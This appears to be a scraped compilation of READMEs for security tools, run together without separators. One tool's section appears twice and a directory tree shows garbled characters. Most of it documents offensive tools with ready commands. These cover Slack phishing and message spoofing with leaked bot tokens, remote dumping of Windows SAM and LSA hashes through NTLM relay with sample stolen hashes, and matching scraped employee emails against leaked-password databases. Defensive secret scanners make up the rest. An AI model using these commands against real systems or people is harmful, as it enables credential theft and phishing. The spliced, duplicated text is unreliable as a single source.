A Slack Attack Framework for conducting Red Team and phishing exercises within Slack workspaces.
This tool is intended for Security Professionals only. Do not use this tool against any Slack workspace without explicit permission to test. Use at your own risk.
Thousands of organizations utilize Slack to help their employees communicate, collaborate, and interact. Many of these Slack workspaces install apps or bots that can be used to automate different tasks within Slack. These bots are individually provided permissions that dictate what tasks the bot is permitted to request via the Slack API. To authenticate to the Slack API, each bot is assigned an api token that begins with xoxb or xoxp. More often than not, these tokens are leaked somewhere. When these tokens are exfiltrated during a Red Team exercise, it can be a pain to properly utilize them. Now EvilSlackbot is here to automate and streamline that process. You can use EvilSlackbot to send spoofed Slack messages, phishing links, files, and search for secrets leaked in slack.
In addition to red teaming, EvilSlackbot has also been developed with Slack phishing simulations in mind. To use EvilSlackbot to conduct a Slack phishing exercise, simply create a bot within Slack, give your bot the permissions required for your intended test, and provide EvilSlackbot with a list of emails of employees you would like to test with simulated phishes (Links, files, spoofed messages)
EvilSlackbot requires python3 and Slackclient
pip3 install slackclient
usage: EvilSlackbot.py [-h] -t TOKEN [-sP] [-m] [-s] [-a] [-f FILE] [-e EMAIL]
[-cH CHANNEL] [-eL EMAIL_LIST] [-c] [-o OUTFILE] [-cL]
options:
-h, --help show this help message and exit
Required:
-t TOKEN, --token TOKEN
Slack Oauth token
Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc
(Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token
(Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f
and -e,-eL, or -cH)
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL
Email of target
-cH CHANNEL, --channel CHANNEL
Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST
Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks
associated with your provided token.
-o OUTFILE, --outfile OUTFILE
Outfile to store search results
-cL, --channel_list List all public Slack channels
To use this tool, you must provide a xoxb or xoxp token.
Required:
-t TOKEN, --token TOKEN (Slack xoxb/xoxp token)
python3 EvilSlackbot.py -t <token>
Depending on the permissions associated with your token, there are several attacks that EvilSlackbot can conduct. EvilSlackbot will automatically check what permissions your token has and will display them and any attack that you are able to perform with your given token.
Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc (Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token (Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f and -e,-eL, or -cH)
With the correct token permissions, EvilSlackbot allows you to send phishing messages while impersonating the botname and bot photo. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -sP -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -sP -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -sP -cH <Channel name>
With the correct token permissions, EvilSlackbot allows you to send phishing messages containing phishing links. What makes this attack different from the Spoofed attack is that this method will send the message as the bot associated with your provided token. You will not be able to choose the name or image of the bot sending your phish. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -m -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -m -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -m -cH <Channel name>
With the correct token permissions, EvilSlackbot allows you to search Slack for secrets via a keyword search. Right now, this attack requires a xoxp token, as xoxb tokens can not be given the proper permissions to keyword search within Slack. Use the -o argument to write the search results to an outfile.
python3 EvilSlackbot.py -t <xoxp token> -s -o <outfile.txt>
With the correct token permissions, EvilSlackbot allows you to send file attachments. The attachment attack requires a path to the file (-f) you wish to send. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -cH <Channel name>
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL Email of target
-cH CHANNEL, --channel CHANNEL Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks associated with your provided token.
-o OUTFILE, --outfile OUTFILE Outfile to store search results
-cL, --channel_list List all public Slack channels
With the correct permissions, EvilSlackbot can search for and list all of the public channels within the Slack workspace. This can help with planning where to send channel messages. Use -o to write the list to an outfile.
python3 EvilSlackbot.py -t <xoxb token> -cL
Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.
It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.
Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.
Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral
Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included.
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout Dial timeout in seconds (default 5)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-o, --output Filename for writing results (default is stdout). Will append to file if it exists.
-v, --version Show version
go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.
Using the --backup-dacl
argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl
argument.
Dump all registry secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Dump only SAM, LSA, or DCC2 cache secrets
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
Dump registry secrets using NTLM relaying
Start listener
./go-secdump --host 192.168.0.100 -n --relay
Trigger an auth to your machine from a client with administrative access to 192.168.0.100 somehow and then wait for the dumped secrets.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc 38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take advantage of Impacket's ntlmrelayx.py SOCKS server functionality.
When using ntlmrelayx.py as the upstream proxy, the provided username must match that of the authenticated client, but the password can be empty.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
python3 -m pip install porch-pirate
The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals
--collections
--requests
--urls
--dump
--raw
--curl
porch-pirate -s "coca-cola.com"
By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w
argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8
When an interesting result has been found with a simple search, we can provide the workspace ID to the -w
argument with the --dump
command to begin extracting information from the workspace and its collections.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump
Porch Pirate can be supplied a simple search term, following the --globals
argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globals
Porch Pirate can be supplied a simple search term, following the --dump
argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dump
A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls
Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.
porch-pirate -s "coca-cola.com" --urls
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw
porch-pirate -w WORKSPACE_ID
porch-pirate -c COLLECTION_ID
porch-pirate -r REQUEST_ID
porch-pirate -u USERNAME/TEAMNAME
Porch Pirate can build curl requests when provided with a request ID for easier testing.
porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl
porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080
p = porchpirate()
print(p.search('coca-cola.com'))
p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)
p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
Other library usage examples can be located in the examples
directory, which contains the following examples:
dump_workspace.py
format_search_results.py
format_workspace_collections.py
format_workspace_globals.py
get_collection.py
get_collections.py
get_profile.py
get_request.py
get_statistics.py
get_team.py
get_user.py
get_workspace.py
recursive_globals_from_search.py
request_to_curl.py
search.py
search_by_page.py
workspace_collections.py
SwaggerSpy is a tool designed for automated Open Source Intelligence (OSINT) on SwaggerHub. This project aims to streamline the process of gathering intelligence from APIs documented on SwaggerHub, providing valuable insights for security researchers, developers, and IT professionals.
Swagger is an open-source framework that allows developers to design, build, document, and consume RESTful web services. It simplifies API development by providing a standard way to describe REST APIs using a JSON or YAML format. Swagger enables developers to create interactive documentation for their APIs, making it easier for both developers and non-developers to understand and use the API.
SwaggerHub is a collaborative platform for designing, building, and managing APIs using the Swagger framework. It offers a centralized repository for API documentation, version control, and collaboration among team members. SwaggerHub simplifies the API development lifecycle by providing a unified platform for API design and testing.
Performing OSINT on SwaggerHub is crucial because developers, in their pursuit of efficient API documentation and sharing, may inadvertently expose sensitive information. Here are key reasons why OSINT on SwaggerHub is valuable:
Developer Oversights: Developers might unintentionally include secrets, credentials, or sensitive information in API documentation on SwaggerHub. These oversights can lead to security vulnerabilities and unauthorized access if not identified and addressed promptly.
Security Best Practices: OSINT on SwaggerHub helps enforce security best practices. Identifying and rectifying potential security issues early in the development lifecycle is essential to ensure the confidentiality and integrity of APIs.
Preventing Data Leaks: By systematically scanning SwaggerHub for sensitive information, organizations can proactively prevent data leaks. This is especially crucial in today's interconnected digital landscape where APIs play a vital role in data exchange between services.
Risk Mitigation: Understanding that developers might forget to remove or obfuscate sensitive details in API documentation underscores the importance of continuous OSINT on SwaggerHub. This proactive approach mitigates the risk of unintentional exposure of critical information.
Compliance and Privacy: Many industries have stringent compliance requirements regarding the protection of sensitive data. OSINT on SwaggerHub ensures that APIs adhere to these regulations, promoting a culture of compliance and safeguarding user privacy.
Educational Opportunities: Identifying oversights in SwaggerHub documentation provides educational opportunities for developers. It encourages a security-conscious mindset, fostering a culture of awareness and responsible information handling.
By recognizing that developers can inadvertently expose secrets, OSINT on SwaggerHub becomes an integral part of the overall security strategy, safeguarding against potential threats and promoting a secure API ecosystem.
SwaggerSpy obtains information from SwaggerHub and utilizes regular expressions to inspect API documentation for sensitive information, such as secrets and credentials.
To use SwaggerSpy, follow these steps:
git clone https://github.com/UndeadSec/SwaggerSpy.git
cd SwaggerSpy
pip install -r requirements.txt
python swaggerspy.py searchterm
SwaggerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.
Contributions to SwaggerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.
SwaggerSpy is developed and maintained by Alisson Moretto (UndeadSec)
I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.
SwaggerSpy is licensed under the MIT License. See the LICENSE file for details.
Special thanks to @Liodeus for providing project inspiration through swaggerHole.
To know more about our Attack Surface
Management platform, check out NVADR.
This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.
The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.
To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:
cd cli
pip install -r requirements.txt
We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:
cd cli
python3 -m pip install psycopg2-binary`
To use the tool, simply run the following command:
python3 cli/emploleaks.py
If everything went well during the installation, you will be able to start using EmploLeaks:
___________ .__ .__ __
\_ _____/ _____ ______ | | ____ | | ____ _____ | | __ ______
| __)_ / \____ \| | / _ \| | _/ __ \__ \ | |/ / / ___/
| \ Y Y \ |_> > |_( <_> ) |_\ ___/ / __ \| < \___ \
/_______ /__|_| / __/|____/\____/|____/\___ >____ /__|_ \/____ >
\/ \/|__| \/ \/ \/ \/
OSINT tool 🕵 to chain multiple apis
emploleaks>
Right now, the tool supports two functionalities:
First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:
emploleaks> use --plugin linkedin
emploleaks(linkedin)> setopt JSESSIONID
JSESSIONID:
[+] Updating value successfull
emploleaks(linkedin)> setopt li-at
li-at:
[+] Updating value successfull
emploleaks(linkedin)> show options
Module options:
Name Current Setting Required Description
---------- ----------------------------------- ---------- -----------------------------------
hide yes no hide the JSESSIONID field
JSESSIONID ************************** no active cookie session in browser #1
li-at AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG no active cookie session in browser #1
YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
kyCyfN58SNNH
emploleaks(linkedin)> run i mpersonate
[+] Using cookies from the browser
Setting for first time JSESSIONID
Setting for first time li_at
li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.
Now that the module is configured, you can run it and start gathering information from the company:
We created a custom workflow, where with the information retrieved by Linkedin, we try to match employees' personal emails to potential leaked passwords. In this case, you can connect to a database (in our case we have a custom indexed COMB database) using the connect command, as it is shown below:
emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
[+] Connecting to the Leak Database...
[*] version: PostgreSQL 12.15
Once it's connected, you can run the workflow. With all the users gathered, the tool will try to search in the database if a leaked credential is affecting someone:
An imortant aspect of this project is the use of the indexed COMB database, to build your version you need to download the torrent first. Be careful, because the files and the indexed version downloaded requires, at least, 400 GB of disk space available.
Once the torrent has been completelly downloaded you will get a file folder as following:
├── count_total.sh
├── data
│ ├── 0
│ ├── 1
│ │ ├── 0
│ │ ├── 1
│ │ ├── 2
│ │ ├── 3
│ │ ├── 4
│ │ ├─â&€ 5
│ │ ├── 6
│ │ ├── 7
│ │ ├── 8
│ │ ├── 9
│ │ ├── a
│ │ ├── b
│ │ ├── c
│ │ ├── d
│ │ ├── e
│ │ ├── f
│ │ ├── g
│ │ ├── h
│ │ ├── i
│ │ ├── j
│ │ ├── k
│ │ ├── l
│ │ ├── m
│ │ ├⠀─ n
│ │ ├── o
│ │ ├── p
│ │ ├── q
│ │ ├── r
│ │ ├── s
│ │ ├── symbols
│ │ ├── t
At this point, you could import all those files with the command create_db
:
We are integrating other public sites and applications that may offer about a leaked credential. We may not be able to see the plaintext password, but it will give an insight if the user has any compromised credential:
Also, we will be focusing on gathering even more information from public sources of every employee. Do you have any idea in mind? Don't hesitate to reach us:
Or you con DM at @pastacls or @gaaabifranco on Twitter.
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
python3 -m pip install porch-pirate
The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals
--collections
--requests
--urls
--dump
--raw
--curl
porch-pirate -s "coca-cola.com"
By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w
argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8
When an interesting result has been found with a simple search, we can provide the workspace ID to the -w
argument with the --dump
command to begin extracting information from the workspace and its collections.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump
Porch Pirate can be supplied a simple search term, following the --globals
argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globals
Porch Pirate can be supplied a simple search term, following the --dump
argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dump
A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls
Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.
porch-pirate -s "coca-cola.com" --urls
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests
porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw
porch-pirate -w WORKSPACE_ID
porch-pirate -c COLLECTION_ID
porch-pirate -r REQUEST_ID
porch-pirate -u USERNAME/TEAMNAME
Porch Pirate can build curl requests when provided with a request ID for easier testing.
porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl
porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080
p = porchpirate()
print(p.search('coca-cola.com'))
p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)
p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
Other library usage examples can be located in the examples
directory, which contains the following examples:
dump_workspace.py
format_search_results.py
format_workspace_collections.py
format_workspace_globals.py
get_collection.py
get_collections.py
get_profile.py
get_request.py
get_statistics.py
get_team.py
get_user.py
get_workspace.py
recursive_globals_from_search.py
request_to_curl.py
search.py
search_by_page.py
workspace_collections.py
Existing tools don't really "understand" code. Instead, they mostly parse texts.
DeepSecrets expands classic regex-search approaches with semantic analysis, dangerous variable detection, and more efficient usage of entropy analysis. Code understanding supports 500+ languages and formats and is achieved by lexing and parsing - techniques commonly used in SAST tools.
DeepSecrets also introduces a new way to find secrets: just use hashed values of your known secrets and get them found plain in your code.
Under the hood story is in articles here: https://hackernoon.com/modernizing-secrets-scanning-part-1-the-problem
Pff, is it still regex-based?
Yes and no. Of course, it uses regexes and finds typed secrets like any other tool. But language understanding (the lexing stage) and variable detection also use regexes under the hood. So regexes is an instrument, not a problem.
Why don't you build true abstract syntax trees? It's academically more correct!
DeepSecrets tries to keep a balance between complexity and effectiveness. Building a true AST is a pretty complex thing and simply an overkill for our specific task. So the tool still follows the generic SAST-way of code analysis but optimizes the AST part using a different approach.
I'd like to build my own semantic rules. How do I do that?
Only through the code by the moment. Formalizing the rules and moving them into a flexible and user-controlled ruleset is in the plans.
I still have a question
Feel free to communicate with the maintainer
From Github via pip
$ pip install git+https://github.com/avito-tech/deepsecrets.git
From PyPi
$ pip install deepsecrets
The easiest way:
$ deepsecrets --target-dir /path/to/your/code --outfile report.json
This will run a scan against /path/to/your/code
using the default configuration:
Report will be saved to report.json
Run deepsecrets --help
for details.
Basically, you can use your own ruleset by specifying --regex-rules
. Paths to be excluded from scanning can be set via --excluded-paths
.
The built-in ruleset for regex checks is located in /deepsecrets/rules/regexes.json
. You're free to follow the format and create a custom ruleset.
Example ruleset for regex checks is located in /deepsecrets/rules/regexes.json
. You're free to follow the format and create a custom ruleset.
There are several core concepts:
File
Tokenizer
Token
Engine
Finding
ScanMode
Just a pythonic representation of a file with all needed methods for management.
A component able to break the content of a file into pieces - Tokens - by its logic. There are four types of tokenizers available:
FullContentTokenizer
: treats all content as a single token. Useful for regex-based search.PerWordTokenizer
: breaks given content by words and line breaks.LexerTokenizer
: uses language-specific smarts to break code into semantically correct pieces with additional context for each token.A string with additional information about its semantic role, corresponding file, and location inside it.
A component performing secrets search for a single token by its own logic. Returns a set of Findings. There are three engines available:
RegexEngine
: checks tokens' values through a special rulesetSemanticEngine
: checks tokens produced by the LexerTokenizer using additional context - variable names and valuesHashedSecretEngine
: checks tokens' values by hashing them and trying to find coinciding hashes inside a special rulesetThis is a data structure representing a problem detected inside code. Features information about the precise location inside a file and a rule that found it.
This component is responsible for the scan process.
PerFileAnalyzer
- the method called against each file, returning a list of findings. The primary usage is to initialize necessary engines, tokenizers, and rulesets.The current implementation has a CliScanMode
built by the user-provided config through the cli args.
The project is supposed to be developed using VSCode and 'Remote containers' feature.
Steps:
The tool in question was created in Go and its main objective is to search for API keys in JavaScript files and HTML pages.
It works by checking the source code of web pages and script files for strings that are identical or similar to API keys. These keys are often used for authentication to online services such as third-party APIs and are confidential and should not be shared publicly.
By using this tool, developers can quickly identify if their API keys are leaking and take steps to fix the problem before they are compromised. Furthermore, the tool can be useful for security officers, who can use it to verify that applications and websites that use external APIs are adequately protecting their keys.
In summary, this tool is an efficient and accurate solution to help secure your API keys and prevent sensitive information leaks.
git clone https://github.com/MrEmpy/Mantra
cd Mantra
make
./build/mantra-amd64-linux -h
The goal of this project is to accumulate the secret keys / secret materials related to various web frameworks, that are publicly available and potentially used by developers. These secrets will be utilized by the Blacklist3r tools to audit the target application and verify the usage of these pre-published keys.
We are releasing this project with.Net machine key tool to identify usage of pre-shared Machine Keys in the application for encryption and decryption of forms authentication cookie.
Note: Requires Visual Studio 2019, not 2022. Visual Studio 2022 does not support .NET Framework 4.5, which this repo relies on.
A pure python library for identifying the use of known or very weak cryptographic secrets across a variety of platforms. The project is designed to be both a repository of various "known secrets" (for example, ASP.NET machine keys found in examples in tutorials), and to provide a language-agnostic abstraction layer for identifying their use.
Knowing when a 'bad secret' was used is usually a matter of examining some cryptographic product in which the secret was used: for example, a cookie which is signed with a keyed hashing algorithm. Things can get complicated when you dive into the individual implementation oddities each platform provides, which this library aims to alleviate.
Check out our full blog post on the Black Lantern Security blog!
Inspired by Blacklist3r, with a desire to expand on the supported platforms and remove language and operating system dependencies.
Name | Description |
---|---|
ASPNET_Viewstate | Checks the viewstate/generator against a list of known machine keys. |
Telerik_HashKey | Checks patched (2017+) versions of Telerik UI for a known Telerik.Upload.ConfigurationHashKey |
Telerik_EncryptionKey | Checks patched (2017+) versions of Telerik UI for a known Telerik.Web.UI.DialogParametersEncryptionKey |
Flask_SignedCookies | Checks for weak Flask cookie signing password. Wrapper for flask-unsign |
Peoplesoft_PSToken | Can check a peoplesoft PS_TOKEN for a bad/weak signing password |
Django_SignedCookies | Checks django's session cookies (when in signed_cookie mode) for known django secret_key |
Rails_SecretKeyBase | Checks Ruby on Rails signed or encrypted session cookies (from multiple major releases) for known secret_key_base |
Generic_JWT | Checks JWTs for known HMAC secrets or RSA private keys |
Jsf_viewstate | Checks Both Mojarra and Myfaces implimentations of Java Server Faces (JSF) for use of known or weak secret keys |
Symfony_SignedURL | Checks symfony "_fragment" urls for known HMAC key. Operates on Full URL, including hash |
Express_SignedCookies | Checks express.js signed cookies and session cookies for known 'session secret' |
Laravel_SignedCookies | Checks 'laravel_session' cookies for known laravel 'APP_KEY' |
We have a pypi package, so you can just do pip install badsecrets
to make use of the library.
The absolute easiest way to use Badsecrets is by simply running badsecrets
after doing a pip install:
pip install badsecrets
badsecrets eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
This is doing the same thing as the cli.py
example shown below.
To use the examples, after doing the pip install just git clone
the repo and cd
into the badsecrets
directory:
git clone https://github.com/blacklanternsecurity/badsecrets.git
cd badsecrets
The commands in the example section below assume you are in this directory.
If you are using the Badsecrets BBOT module, you don't need to do anything else - BBOT will install the package for you.
Bad secrets includes an example CLI for convenience when manually checking secrets. It also has a URL mode, which will connect to a target and attempt to carve for cryptographic products and check any it finds against all modules.
